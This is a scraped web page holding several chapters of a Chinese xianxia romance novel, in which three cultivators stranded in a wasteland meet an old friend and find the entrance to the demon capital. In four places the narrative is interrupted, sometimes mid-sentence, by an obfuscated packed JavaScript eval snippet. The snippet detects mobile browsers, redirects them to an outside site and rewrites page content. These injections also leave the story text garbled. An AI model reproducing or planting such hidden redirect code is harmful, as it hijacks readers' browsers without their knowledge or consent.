“曾有一人,能将花草中的水瞬间抽出,而保持住花草的颜色乃至形态都毫无变化,宛若还盛放在枝头,这样的花草能保存几百年不腐不败,容色如新。”林子满说起这事时,语气里带着藏不住的怀念和仰慕。 秦扬扯起嘴角:“那可真是出神入化啊。”话里透着一股酸味。 沉浸在往事里的林子满毫无察觉,十分赞同地点点头:“在控水这方面,我确实没见过比他更厉害的人了。” 秦扬不想说话了,他默默走到莫叶声旁边,装模作样地查看起他体内的情况。 “他没什么大事,就是皮外伤比较严重。”林子满看他沉吟半晌,解释道,“我给他喂过丹药,估摸着再过几个时辰就能醒。” 果不其然,天色渐渐暗下来的时候,莫叶声睁开了眼睛。 他撑着身体想坐起来,不想刚一动便是一阵钻心的疼,莫叶声痛苦地闷哼一声,无力地倒了回去。 林子满同情地拍拍他的肩:“你还是先躺着吧,现在怎么动都会痛的。” 全身上下只有动嘴不会痛的莫叶声在尝试几次之后放弃了挣扎,如同一具尸体般躺在地上,讷讷发问:“我们这是在哪儿?” “不知道。”林子满无奈一摊手,“秦扬已去探查过一番,但什么都没发现,好像就只是一片巨大的荒原,无边无际。” “荒原?”莫叶声脑海里飞快闪过什么,但还不等他细想,又消失得无影无踪。 “是啊,说来也真是奇怪,明明是落进了湖里,醒来却在这儿。得失境里若有这么大一片荒原,不应该从没被人发现过啊,除非——”林子满说着说着心里一沉,除非来过这荒原的人都死了,没有人活着出去,自然就不会为人所知。 秦扬与莫叶声显然都猜到了她的未尽之语,脸色凝重了几分。 “既然我们是从那个湖来的这荒原,这里就一定有一处地方是与那个湖相接的,只要找到那个地方,我们应该就还能从那儿再回去。”秦扬沉声道。 “有道理。”林子满觉得可行,“那现在的问题就是怎么找到那儿了。” 这荒原无星无月,白日里好像也没看到太阳,根本辨别不了方向,盲目地寻找很容易迷失在里面。 他们须得好好商议一番,想出个万全的法子才行。 说到这儿,她忽然想起一事,偏头问莫叶声:“你还记得摔进湖里时发生了什么吗?昏迷之前的事可还有印象?” 莫叶声皱眉回想:“我刚落进湖里就有一大群鱼围了上来,个个长着寸把长的利齿,追着我咬。” “而且那水极为怪异,压在身上沉甸甸的,怎么游都游不上去,混乱中我攀住了什么,便紧抓着想往上浮去,没想到还是沉了下去,湖底好似有一片刺目的亮光,晃得人睁不开眼,随后的事我就不知道了。” 林子满若有所思地瞥了秦扬一眼,怎么游都游不上去? 若那湖水当真有异,上次秦扬是怎么把她弄上去的?这次又为什么到了这里? 秦扬看懂了她眼神里的疑惑,声音平静地开口:“你抓住的是我的脚。” 林子满:? 莫叶声:??? 他疑惑地偏头,看向突然开口的秦扬,不想正正好对上他看着自己的眼睛。 与那双古井无波的眼睛对视几秒,他猛然意识到秦扬是在跟自己说话。 以及……他话中的意思。 “对、对不起!秦师兄!我没想到会把你拽下来!” “水性不好就要有自知之明,不要疑神疑鬼,编造出一套湖水诡异的说辞。”秦扬凉凉道。 莫叶声简直羞愧欲死,若不是现下动不了,他恨不得要找条地缝钻进去。 他自认水性还是挺不错的,原来竟是过于自信了吗?今天不仅自己浮不上水面,还连累了师兄师姐! 林子满忍笑,及时出声将话头拉回正题,解救了一张脸越涨越红的莫叶声:“那湖底的白光定然不是什么寻常之物,说不定是个传送阵之类的东西,这样也就能解释我们为什么会出现在这儿了。” 这样想确实是能说得通,但究竟是什么人,才会在十年一开的秘境湖底设下传送阵? 更何况那还是一处禁灵之地,湖里还有会咬人的凶残鱼类。 传送来这片荒原又是想做什么呢? 无人能解答他们的疑惑,周围只有淅淅沥沥的雨声。 这雨自开始下,就一直没停过,绵绵不绝的,惹人心烦。 “我们是不是要先找个地方过夜?晚上会有妖兽出没吧?”莫叶声问道。 “这周围既无山也无树,难不成你想去那坑里过夜?”秦扬莫名其妙地看着他,这是问了个什么蠢问题。 这荒原一览无余,确实无处藏身,幸而他们灵力都已恢复,在周围多布几个结界,倒也问题不大。 林子满自储物镯中取出一袋灵石,沿着方位一一摆放好,随后开始念咒结印:“和光同尘,隐!” 一道泛着幽幽蓝光的结界自地面升起,随着她的手势缓缓上移合拢,并为一体后形成一个巨大的半球,蓝光一闪,半球隐于无形,三人的身影也随之消失在荒原上。 又随手扔了几道防御性术法在结界之上,林子满满意地拍拍手,现下就算这荒原有妖兽出没,应当也发现不了他们了。 不过这幕天席地的,还是有些不好休息啊,更何况现在还有个伤患直愣愣地在地上躺着呢。 林子满看了眼惨兮兮的莫叶声,充满怜爱地叹了口气,又在储物镯里摸了半天,掏出一枚雕成房子模样的灵石往地上一扔。 灵石落地,竟化作一间古朴的木屋。 林子满打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莫叶声咽了咽口水,不知道该怎么对这只差不多能当他爷爷的鸡下口,只能干笑两声:“不了不了,我手动不了,还是你们吃吧。” “手动不了有什么关系。”林子满招招手,一个木人小跑过来,接过她手上的鸡肉,喂到莫叶声嘴边。 莫叶声:“……” 他一脸为难地看着木人,想用自己真挚的眼神告诉它,他一点也不想吃啊! 但木人脸上只有两颗黑晶石做的眼睛,闪着无情的光芒。 两厢对峙许久,莫叶声刚开口说了个“我”字,木人就以迅雷不及掩耳之势将鸡肉塞进了他嘴里。 莫叶声:“……” 林子满看他那目瞪口呆的样子,终于忍不住笑起来:“真的能吃,不是给你喂毒!” 莫叶声试探地嚼了两口,发现鸡肉中间竟还是温热的,鲜嫩的鸡肉汁水丰沛,随着口齿摩擦,酱料的味道溢开在舌尖,一股淡淡的荷香若隐若现。 “怎么样?味道很不错吧?”林子满撕了只鸡腿递给秦扬,“这可是我从前在凡间游历时,最爱吃的一家铺子里的。那位做荷叶鸡的老人家年岁已高,这么多年过去,想必早已不在人世,他儿子的手艺又远不如他,现在想吃也吃不到了。” “味道是很好。”秦扬慢条斯理地吃着鸡腿,“事在人为,若实在想吃,总能找到味道一样、甚至更好的。” “找不到的。”林子满摇摇头,低垂着眉眼撕扯鸡翅,“即便再相似,也不是那个味道,纵使味道更好,也不是我喜欢的那种了。” 30. 旧友 秦扬忍不住笑:“想不到你的口味竟这般挑剔?” 林子满:“毕竟比你年长几百岁,见识总是多些的,尝的多了也就挑剔起来了。” 秦扬嘴角抽抽,怎么又提年龄这茬? 几百岁称得上是很大的差距吗?修真界多的是几千甚至几万岁的老妖怪。 “那个……”听到二人谈及年龄,莫叶声在一旁弱弱发声,问起了一件一直被自己忽略的事,“杨师姐,我以后该怎么称呼你啊?是叫师姐还是……” 他没有问她真实的身份,毕竟每个人都有自己的秘密,先前隐瞒就代表不想被人知道,但到底比自己大上许多,叫师姐不知道会不会显得不尊重。 “我姓林,你继续叫师姐就好。”林子满好笑,“我不在意这些。” 秦扬忽然问道:“那我也可以继续叫师姐吗?” “不可以。”林子满睨了他一眼。 “他叫你师姐,叫我师兄,而我又要叫你长老,这让外人听见,得多奇怪啊。”秦扬不满,“况且你不是说你不在意这些吗?” “这荒原连妖兽都不见一头,哪儿来的外人?”林子满挑眉,“怎么,我的身份不值得你称呼一声长老吗? 秦扬不说话了,埋头啃鸡腿,全身上下都在往外散发着‘我不高兴’的气息。 见气氛不对,莫叶声也不敢再说话,整个屋子里就只有木人走动的哒哒声,混着茶水烧开时发出的噗噗响。 屋里只有一张床,自然是要让给莫叶声这个伤患。 林子满从柜子里扯出两张坐垫,扔了一张给秦扬,随后便找了个角落开始打坐。 不多时,秦扬拖着垫子走过来,挨在她旁边坐下。 林子满微睁眼觑着他,想看看他还想闹些什么幺蛾子。 却见秦扬什么都没说,没再纠缠之前的问题,只是乖乖坐着,安安静静地调息,透着一股委屈巴巴的劲。 我一定是疯了,林子满心想,不然怎么看人打坐也能看出股可怜劲儿? 结界外的雨还在淅淅沥沥地下,时不时有风呼啸而过,寒意却被阻隔在外,渗不进这温暖的小屋。 次日晨起,那细细密密的雨终于停了,天却依旧没放晴,阴沉沉的,让这本就荒无人烟的地方更显寂寥。 修养了一晚上,莫叶声身上大部分伤口开始好转,甚至能勉强撑着下地走动了。 林子满不禁感慨,真不愧是年轻人啊,恢复能力就是强。 但她还是没同意他跟着一起去寻出口的提议,开玩笑,就这一身伤痕累累,要是遇到个什么危险,跑都跑不了。 吩咐木人看好莫叶声,林子满和秦扬分头去探查情况。 二人以木屋为中心,沿着相反的方向前去探查,在夜色降临前循着木屋上空燃起的信烟返回。 一日过去,两日过去,他们沿着各个方向探查了几日,却始终一无所获。 “这荒原看起来当真是没有其他活物。”林子满瘫坐在椅子里喝热茶。 一天跑下来真是累死个人,时不时就是一阵瓢泼大雨,将人浇的猝不及防,更挫败的是还什么都没发现。 这荒原实在大的离谱,不论往哪个方向去,好像都没有尽头,活物死物都不见,只有大大小小的土坑。 “那坑倒是有几分怪异,先前那阵下了那么大的雨,有些坑里的水位竟然在下降。”林子满托腮沉思,“我将那土坑往下掘了好几丈,却没发现什么异样。” “我也发现了。”秦扬点头附和,“那坑里的水也不是一直在减少,快见底时水又会积起来,看起来跟寻常水坑又没什么不同了。” “既然这荒原上只有那怪异的水坑,那我们离开的契机说不定就在那水坑里。”林子满打定主意,“明日别去乱跑了,先看看能不能解开那水坑的谜团吧。” 秦扬刚想说什么,突然神色一凝,林子满也在顷刻间察觉到了什么,二人同时扭头,警觉地看向窗外。 荒原上依旧暗沉沉的,不知何时出现了几道模糊的影子,正以不慢的速度朝他们的方向而来。 秦扬沉声发问:“是人?” 林子满点点头,神情凝重:“来的不少,更重要的是,有人修为远在我之上,至少是……化神期。” 莫叶声也明白过来发生了什么,愕然道:“可是元婴以上的修士不是不能进得失境吗?怎么会有化神期出现在这儿?” “那就只有一种可能。”秦扬抓起桌上的剑,“他们不是通过得失境进来的。” 他们三人是误入,而外面的人显然是有备而来。 不多时,屋外的结界被触发引起一阵震颤,那群人显然已经发现了他们。 林子满按下秦扬握剑的手:“不要硬来,先看看情况。” 她的结阵之术是跟蕉林谷学过的,能这么轻易被发现,外面的人绝非等闲之辈。 他们三个人,老的老,小的小,病的病,拿什么跟外面那些人硬碰硬? 若来的不是善茬,今天可真就麻烦了,这荒原一无出口二无藏身之所,简直是无处可逃。 林子满走出木屋,取出法器开始布阵,若待会儿当真打起来,这阵法至少能拖延一阵子。 突然,周围一静,外面的人停止了破阵。 借着结界显出的幽幽蓝光,林子满看到外面有人偏头吩咐了句什么。 一个少年走上前来,对着结界一揖:“这位道友,我们并无恶意,只是我家少主见这结界精妙,想讨教一二,还望阁下能前来一叙。” 林子满稍加思索,加快速度完成脚下的阵法。 能不打起来自然是好的,但她也不可能真就这么信了他的话,人多势众的,就算没有恶意,也不能不提防。 待阵法成型,林子满朝前一挥手,一道光门自结界上出现。 她刚往前走了两步,一个身影蓦然出现在她身侧,抬头一看,是秦扬。 林子满皱眉:“不是让你待在里面吗?” 秦扬沉声道:“我不可能让你一个人涉险。”说完便抬步往前走去。 林子满无法,只能跟在他身后走出结界。 外面站着十来个人,为首的是一群黑衣人,个个穿着劲装,身形强悍利落,一看就十分能打,估计是宗内豢养的死士。 林子满不动声色打量了一圈,没发现主事之人,只能看向先前说话的少年:“不过雕虫小技罢了,当不起讨教二字,不知你家少主是?” 少年还没说话,一道声音先传了过来,尾音发颤:“竟真的是你……” 秦扬循着声源望去,一身玄衣的青年自人群中走出,神情激动地看着他们,脸上带着喜悦,眼里还有几分不可置信。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902847|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……迟渊?”林子满看着那人衣摆处随风飘荡的八卦纹饰,迟疑着喊出这个阔别已久的名字。 真的太久了,久到她都有些不敢相认。 “是我,你——”迟渊想说什么,看着她身旁的秦扬又犹豫了下,“他……我……” 看他纠结半晌,结结巴巴也没说出什么,林子满笑了笑:“在下林柿,这位是永凌山的秦扬。” 迟渊于是跟着说了句:“在下迟渊。” 说完就觉得自己此举有些蠢,人家刚刚都叫了他的名字,他还自我介绍给谁看? 迟渊尴尬地笑笑,有些不好意思地摸摸鼻子:“我方才有些激动了。” “先进来坐吧。”林子满招呼他进去,“不过屋子小,可能挤不下这么多人,只能委屈部分人先待在屋外了。” 迟渊不在意地摆摆手:“哪有那么娇气,风餐露宿惯了,有片结界挡风就很不错了。” 几人刚走进屋子,就见莫叶声正艰难地瘸着腿往门外走,看见一波人乌泱泱地走过来,立马警惕地拔出了剑。 “哟,里头还藏着一个呢。”迟渊眉头一挑,“不过小少年,就你这副尊容,能打得过谁?” “行了啊你,一来就欺负小孩子,为老不尊。”林子满无奈,挥手让两个木人给屋外的人端杯热茶暖暖身子。 迟渊哈哈一笑,对着莫叶声道:“开个玩笑,小友不要放在心上。” “这位是?”莫叶声疑惑地看向林子满。 “这位是蕉林谷的迟渊,是我少时好友。”林子满介绍道。 说来也真是巧,短短几天,上阳宗、驭妖宗、蕉林谷,这修真界的三大宗门让她碰了个遍。 “什么叫少时好友?怎么,我现在不是你的朋友了吗?”迟渊不满。 “你少给我找事啊。”林子满斜睨了他一眼。 蕉林谷?秦扬眼底闪过一抹暗光,不动声色地打量了他几眼。 莫叶声则惊讶地瞪大了一双眼:“你……你就是蕉林谷的迟少主?” 迟渊挑了挑眉:“哟,看来我名气还不小嘛,这位小友竟然也听说过我?” “毕竟是现如今修真界最厉害的阵修,谁能不知道你啊?”林子满打趣道,“我还以为我这么多年怠于修炼,布阵已如此差劲,隐匿之术轻易就能被发现了,原来是遇上你这‘祖师爷’了啊。” 迟渊丝毫不谦虚,反而得意起来:“回去我可得好好跟时长老说道说道,他的得意门生如今也是我的手下败将了,他可不能再指着我骂我不上进了吧?” 提起从前的旧事,两人不约而同笑起来,仿佛都还是百年前没心没肺互相掐架的样子,心境如何,却只有各人知晓了。 “对了,你们知道这是哪里吗?”闲话过后,众人终于提起正事。 “自然知道啊,难道你们不知道?”迟渊不解。 见林子满摇头,他更奇怪了:“那你们是怎么进来的?” “我们在得失境时,不小心落入湖里,醒来就在这儿了。” “得失境?原来魔域的入口竟在得失境?”迟渊奇道。 “魔域?”待反应过来他话里的意思,三人皆惊,不可置信地反问,“这里是魔域?!” 魔域不是只存在于传说中的地方吗?这么个平平无奇的荒原怎么会是魔域? 31. 魔域 待他们稍稍平静下来,迟渊才继续道:“九万年前,魔族祸乱苍生,肆意屠杀人族与妖族,吸取他们的精血以提升自己的修为。” “后来人妖两族联手,将魔族诛杀殆尽,魔域也被夷为平地,从此再无生灵能在魔域存活。人妖两族也在那次大战中付出了惨痛的代价,休养生息几万年,才恢复到从前的繁荣兴盛。” 说到这儿他叹了口气:“但恢复了元气的两族,却失去了式微时的和睦。人族觉得自己身为万灵之长,是天道的宠儿,看不上‘畜生’出身的妖族,不屑与之为伍。而妖族则鄙夷人族的弱小,那些没有灵根不能修炼的人,随手一拧就能折成两段,凭什么跟他们平起平坐?” “万年前的大战就此再次上演,两族越是势均力敌,战争就越发惨烈,数不清的无辜生灵被卷入其中,白白丧命。后来,是一位已过渡劫期的仙人以身为界,借这荒废的魔域将人与妖分隔两地,各居人界与妖都,互不相扰,方得安宁。” “随着时间的推移,人界有越来越多的草木、妖兽吸收天地灵气而生灵智,也就是我们平时常见的那些妖。它们身处人界,到底是势弱的一方,难免被排斥甚至奴役,有些不愿再受欺凌的妖修,便开始寻找返回妖都的办法,而这已成荒原的魔域,就是进入妖都的唯一入口。” “那你们来这里,也是要去妖都?”一直沉默不语的秦扬忽然问道。 “对,我此去妖都,便是要调查一件事。”迟渊看着面前这张脸,细细打量许久,越看越心惊—— 像,实在是太像了。 “可我们并不打算去妖都,你可知道如何从这儿出去?”林子满没有追问他去妖都是要查什么,想来应是蕉林谷的宗内事务,外人也不便多问。 “这我也不知。”迟渊摇摇头,“宗内的古籍上只记载了从魔域进入妖都的方法,并未写明要如何从魔域离开。” 林子满皱眉,本以为碰上他们会有离开的法子,不成想还是行不通。 她想到什么,问:“那你们是怎么进来的?” 既不像他们是从得失境误入,就一定还有其他法子进出。 “我们是通过传送阵进来的。”迟渊道,“世人皆道蕉林谷最擅丹药阵法,却鲜有人知道当时开宗立派的第一任谷主,曾追随在那李氏仙人左右,一同研究分离二界的阵法。尘埃落定后他将一切编撰成册,封于藏书阁内。宗内各长老根据古籍上的记载,耗时七八年,方才画出一方仅供十几人通过的传送阵,将我们送来这儿,经魔域进妖都。” 说到这儿,他有些为难:“虽说利用传送阵也能直接从这儿回蕉林谷,但那阵法只能用一回,我们还未去妖都……” “我明白,你们此行定是有要事,不必因我们而耽搁。”林子满宽慰道,“我们既是从得失境来的,定也能找到出口的。” 话虽这样说,但情况并不乐观,本来他们就是在打算出秘境时误入此地,如果不尽快离开,回到得失境时,结界八成已经修复如初了,他们就得再等上十年才能出去。 “不如与我们一道去妖都吧?”迟渊提议,“你们这样漫无目的地找,也不知道何时才能寻到出口。这魔域虽看起来没有活物,到底曾是魔族的地盘,邪门的很,凡是死在魔域上的,无论是妖还是人,尸骨都会被土地吞没,活人在这里待久了也不知道会不会有什么不好的影响,倒不如随我们一起去妖都,到时候直接从妖都离开。” 目前也没有别的办法,林子满想了想,同意了他的提议:“那我们何时进妖都?” 迟渊:“妖都不是想进就能进的,天时地利缺一不可。” “怎么说?”林子满好奇。 “天时指的便是晴天,魔域少晴多雨,十天有九天都是阴天,要想进入妖都,必须是晴天。” “地利说的便是那些大大小小的土坑。”迟渊指了指屋外,“待到乌云散去,碧空如洗时,那些土坑里的水都会消失,只余一处水坑盛着一汪清水,便是妖都的入口了。” “但天晴的时间会很短,妖都入口一现一变,下一次便不会在原来那个水坑,所以我们要在放晴时尽快找到入口,错过了就得从头再来,等下一个晴天重新找起。” 秦扬:“我们刚来这里时倒是晴天,后来一直在断断续续地下雨,难道就这么一直等下去吗?” 迟渊无奈地摊手:“除了等,也没有其他的办法。” “那就只能寄希望于老天,早些放晴吧。”林子满叹了口气,一手支着脑袋,一手把玩桌上的茶杯。 夜色渐深,众人各自寻了个角落,或坐或卧,准备休息了。 迟渊朝林子满使了个眼色,两人一前一后出了门。 屋外不远处清光一闪,一道结界显现,隐去二人交谈的声音。 秦扬立在窗边,远远地看着这一切,棱角分明的脸隐在阴影里,看不清神情。 “今天我一看那结界,就觉得布阵手法有几分熟悉,他们破阵时,我才确定那是时长老独创的无息界,这世上会这个的可不多。我就抱着一丝期待,想着有没有可能会是你,没想到真的是。”迟渊感叹一声,“我们有多久没见过了?有五百年了吧?我还以为这辈子都再见不到你了呢。” “你记性还不错,记得挺清楚。”林子满抱臂靠在结界上。 “当年究竟是怎么回事?”他跟杨之曜不过闭关几日,外界就已天翻地覆。 林子满默然不语,该说的她当年都已经说过了,一切早已盖棺定论,这么多年过去,她早已没那个心思为自己辩一句清白了。 况且,她也并不算真正无辜。 看出她不愿提及从前的旧事,迟渊也不再追问,转而问起另一件在意的事。 “那位秦扬,他……”迟渊犹豫着开口,“不是他吧?” 其实他心里很清楚,那不可能是杨之曜,杨之曜五百年前就已经死了。 林子满垂眸躲开他的视线,没有细说,只含糊不清地敷衍了句:“或许吧,谁知道呢。” “身为修士,没有人比我们更清楚,世上没有转世投胎一说,人死了便是死了,即便修为再高,只要未过渡劫期,终究还是人,逃不过天道的束缚。什么来生,什么轮回, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902848|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是凡人为了安慰自己,幻想编造的说辞。”迟渊语气严肃了几分,“若在此事上执念太深,对修行极为不利,极易生出心魔。” “心魔便心魔吧,只要我无意进阶,雷劫也劈不了我,还是有几百年好活的。”林子满无所谓地笑笑。 “你!”迟渊气结,“你这样对得起之曜的一片苦心吗?!” “呵……苦心?他当年那样做的时候问过我愿不愿意吗?!”林子满再维持不住面上的云淡风轻,迟渊的话撕破她勉强伪装出的不在意,狠狠戳中她内心深处,那经年累月却依旧未能痊愈的伤口,她的语气不自觉尖锐起来。 几百年过去,林子满还是会介意,还是会怨那个将自己抛下的人:“既然如此,我要怎么做,他也管不着。” “当然,也不劳烦你费心。”她冷冷道。 周围的空气凝固,仿佛结了冰,沉默许久后,迟渊低声道:“抱歉,我刚刚不是那个意思。” 林子满望着远方,一言不发。 “当年的事,我也有错,如果不是我,或许事情也不会变成那样。” 林子满眼神微动,偏头看着他:“什么意思?” “当时我陪之曜闭关炼化妖丹,本来一切顺利,用不了几日便可无恙。偏偏我多事,闭关前给了你那枚传音符。后来那几日给你传信时,你一直没有回音,他便猜到你肯定是出事了,而且定然不是小事,不然不会连着几日没有一点消息。”迟渊的声音很低,带着自责,“他心急如焚,想着赶紧出关,不想心境一乱,就被那妖火钻了空子,险些交代在那儿。” “他不顾阻拦强行出关,我却被我爹带回蕉林谷,关了几年禁闭,出来才知道发生了什么。”他苦涩道,“我后来常常在想,如果我当时没有留下那枚传音符,他就能顺利炼化妖丹,事情是不是就不会变成这样,就算还是要剖去元婴,以他的修为,也一定不会死的。” 原来当年还有这一出,林子满愣愣地听着。 原来不是时长老的法子出了问题,原来杨之曜是有机会恢复一身修为的,原来一切不过是……关心则乱。 造化弄人,不外乎此。 许久之后她摇了摇头:“不怪你,你当时也是好心。” 迟渊:“可是后来他去救你,我也没能帮上点忙……” “毕竟你爹要为整个蕉林谷考虑,我当时那样的身份,他自然不希望你蹚这趟浑水。”林子满轻轻笑了笑,“现在说这些也没什么用,改变不了什么。况且,我觉得现在这样也挺好的,我知足了。” 就算当年杨之曜活下来,失去元婴的他也成了个寿数将近的普通人,寥寥几十年都是奢望,她不想看到他那样。 她希望他永远是初见那个样子,永远是那个意气风发、光彩夺目的天之骄子,就像现在这样,慢慢走回到他原本应该走的路上去。 “既然你觉得这样好,那便就这样吧。”迟渊几不可闻地叹息一声。 他再说不出什么劝她放下的话,毕竟连他自己都至今难能释怀。 劝人容易劝己难,苦海难渡唯自悟。 32. 入口 众人在魔域又等了两日,皆是黑云沉沉,不见丝毫太阳的踪影。 终于,在第三天晨起时,云层渐渐散去,隐隐有了放晴的趋势。 林子满挥手撤去结界,望着渐渐显出蓝色的天空:“看来我们运气不错啊。” “事不宜迟,我们要快些去寻那入口。”迟渊走过来,身后十来人已整装待发。 一直跟在他身边那个叫时客的少年,从储物袋中取出一把灵符,挨个分给周围的人。 “这是传讯符,待找到妖都入口,直接撕毁即可。一旦传讯符放出,所有人即刻以最快的速度赶到,千万莫误了时机。现在两人一队,分头去找吧,若变天以后还未寻到,就回这儿碰头,再行商议要作何打算。” 迟渊话音一落,秦扬就走到了林子满身边,意思很明显,要与她一队。 莫叶声巴巴地看着,眼神恳切,这些人他一个都不认识,他也想跟他们一起。 但秦扬只是凉凉地瞥了他一眼,不动声色地挡住林子满的视线,随后冷酷地移开眼。 莫叶声只能弱弱地缩了回去。 迟渊眼神复杂看着这一幕,张嘴想说点什么,却正好对上秦扬看过来的眼睛。 是双再熟悉不过的眼睛,但内里翻涌的情绪,又何其陌生。 两人对视片刻,最后竟是迟渊败下阵来先移开了眼。 罢了,五百年前他就已经输了,现在又有什么立场多管闲事呢? 待众人两两分配好,林子满抬手,木屋旋转着越缩越小,最后变回灵石模样飞回她掌中。 将其收进储物镯后,她顺手取一柄铁剑,对秦扬说了声“走吧”,便如一支离弦的箭,迎着疾风飞了出去。 天空正中,一团光球在逐渐膨胀,初始只有小小一颗,不细看会以为只是一粒星子。 光球慢慢胀大成一轮泛着红晕的玉盘,散发出耀眼的光芒,炙烤着荒芜的大地。 这便是独属于魔域的太阳,魔族称其为——神目。 林子满放出神识,一边御剑向前,一边凝神探查着地面的土坑。 秦扬跟在她身后不远处,用神识将她经过的地方再检查一遍,确保没有遗漏。 这偌大一片荒原,若是不小心看漏错过了,那可真是再怎么找都找不到了。 林子满抬头看了看天,那轮太阳已经膨胀到最大,开始隐隐有往回缩的趋势,待其缩至最小,便会消失。 她皱了皱眉,太阳一旦消失就会变天,得抓紧时间了。 地面的景色一成不变,放眼望去皆是数不清的土坑,若不是身边的风呼啸而过,简直要让人怀疑是不是一直在原地踏步。 突然,一点亮光划过脑海,林子满猛地一顿,立在剑上望着某个方向,语气里染上几分喜悦:“找到了!” 二人御剑赶去,只见满是沙土的荒原上,突兀地出现了一湾清泉,倒映着蔚蓝的天空,在黯淡的灰黄世界里,抹上了一笔鲜活而又明艳的颜色。 水面平静得仿佛镜面,风过无痕,像是有人将天空裁了一片下来直接铺进坑里。 林子满取出传讯符撕开,一团火焰尖啸着冲上天空,“砰”地一声炸开,散成无数火星,火红的烟雾凝固在半空中,久久不散。 等待众人赶来的间隙,林子满以掌盖于眼前,遮住那有些刺眼的日光,好奇地往坑里张望。 这些年她也去过不少地方,却还从未见过这样别致的入口。 看起来只是个漂亮些的小湖,谁能想到会是妖都的入口呢?待会儿难道是要直接跳进去? 说起来这些地方怎么都喜欢以水为媒介制作传送阵? 送他们来这里的那个湖也是这样,不会到时候从妖都离开也是要一头扎进水里吧? 秦扬站在一旁眺望远方,警惕着四周的动静。 过了一阵子,他忽然问了一句:“那位迟渊,你当真信得过吗?” 林子满直起身子,不解地看着他:“自然是信得过的,怎么突然这么问?” “我们对妖都几乎一无所知,他也没有向我们透露到底是要去做什么,就这么贸贸然跟着一起去,如果出了什么事,我们连怎么出去都不知道。”秦扬沉声道,“若他有心害我们,我们根本无力反抗。” “他不会害我们的。”林子满笃定道,但转念一想,秦扬说的也有一定的道理,“不过待会儿是得先弄清楚出去的法子,否则万一出了什么岔子,我们确实孤立无援。” “你就这么相信他?不怕他诓你?”秦扬语气莫名。 “自然,我们年少相识,他的品性如何我还是很清楚的。”说着,林子满有些疑惑地打量他,“我怎么觉得,你好像对他有些成见?你们此前应该不曾见过吧?” “小心驶得万年船,我只是谨慎了些。”秦扬抿了抿嘴,淡淡道,“毕竟人心易变,多年未见,谁也说不准。” “谨慎些是没错。”林子满笑笑,“不过纵使人心易变,有些人却总是能保持初心的,你放心好了,迟渊不会是那种阴险小人。” 秦扬望着一丝波澜也无的水面,扯起嘴角笑了笑:“那还真是得恭喜长老,能得如此一挚友,一生无憾了。” “倒也没有那么夸张。虽说称得上一句挚友,但你不知道他以前有多欠揍,每每气得我恨不得在他身上捅几个窟窿。”林子满回忆起过去的事情,脸上不自觉绽出一抹怀念的笑,当时真是无忧无虑啊,整天精力充沛地上蹿下跳。 秦扬听着耳边含着笑意的声音,收回视线垂下眼睫,掩去了其中的情绪。 不多时,陆陆续续有人御剑赶了过来。 迟渊从剑上跳下来:“本以为我们要在这儿待上一段日子才能离开,没想到竟一次成功,这么快就找到入口了。” “能早些离开还不好吗,难不成你还想在这儿游玩几天?”林子满走上前,“对了,之前忘了问你,除了与你们一道,可还有其他法子能离开妖都?” 迟渊疑惑:“有是有,但是怎么了?你不与我们一同走吗?” “自是与你们一道的。”林子满摇摇头,“但妖都现如今是什么情况我们也不了解,你们又有正事要办,我们总不能碍手碍脚地拖累你们吧。若有其他法子能离开妖都,你告诉我们,到时候如果走散了我们也能自行离开。” “你说的也在理。”迟渊想了想,也不隐瞒,“宗内长老一共想出两种办法离开妖都,一种是时长老亲手绘制的子母阵,以先前送我们过来的传送阵为基础叠加,可以削弱人妖两界的隔绝之阵带来的影响,母阵设在蕉林谷,以灵石运转,日夜有人看护,我们则带着子阵的阵图入妖都。”他晃了晃手中卷成长条的羊皮,“待我们事了,只需催动子阵,便可回到母阵所在地。” “另一个法子就比较简单了。这些年来,偶尔会有妖从妖都溜出去,跑到人间作威作福,我们猜测它们是从阵法薄弱处离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902849|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开的。隔绝之阵虽强大,但毕竟已经过去上万年之久,阵法难免会出现薄弱的地方。我们便据此研制出一对符箓,一寻一匿,先用觅符探得阵法薄弱处,再以匿符瞒天过海,骗过阵法就能离开妖都了。” “子母阵需以蕉林谷内门心法运转,你们若单独离开只能用第二种方法。”他从怀里掏出两枚灵符递给林子满,“不过最稳妥的法子还是跟我们一起,毕竟谁也不知道阵法的薄弱处会在哪里,离开后也不知道会去到何处。我们虽有正事要做,但也只是暗中探查,并不是去寻衅滋事的,谨慎点应该不会遇到麻烦。” 